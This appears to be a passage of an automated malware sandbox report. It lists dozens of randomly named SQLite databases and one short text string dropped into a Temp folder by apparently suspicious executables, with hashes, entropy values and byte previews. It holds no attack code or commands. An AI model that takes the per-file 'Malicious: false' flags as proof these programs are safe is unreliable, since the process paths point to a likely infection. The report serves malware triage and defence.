Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fexW3nrrsH

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\flU1xZudua

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fpdNLjW9bb

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fzkg2yXizP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g3iNYQGi3r

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g7RzIdsUtP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gHB6dWl8pr

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gQxbP5DYWR

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h7Po7bUx45

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hPh3WgxpZq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hXa10jA9Kc

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hkNFU87Pes

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hlJlSfXfd6

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\htathUFsMx

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iT0CMi6HYs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ipS3HkqvQ6

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iq3R3mF2zf

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jsst8Vlreb

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kNsCEcp9bO

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kU2NnLCYxk

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kVYOXZyqNy

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l6qCWDmO8j

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l7eRP4ZeWh

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688184
Encrypted:	false
SSDEEP:	3:FCpTXRug5Mi:SzRugR
MD5:	F84BF171C1D874A8CE02AC2471447178
SHA1:	D0D7F219F0478DEE1CE7F829672991D91F902541
SHA-256:	5CFA7F51175DCC5EA6A3A59380818A5DFBCA80392D8A177A68A8DCE71975ACB3
SHA-512:	0FE50E7B9F9F7E55B3682FECD5B25B1188DDB686BED1263D905E4CB185BDB95D4F440F7A10C13A38E27C1C969D264F65DF15E358B95A5F981850578145AB168F
Malicious:	false
Preview:	BaI8en86v0yMFHFJXQ8GCkToG

C:\Users\user\AppData\Local\Temp\lK0GsSQ8im

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lUdzaQppOF

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lw4MwRlJV0

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
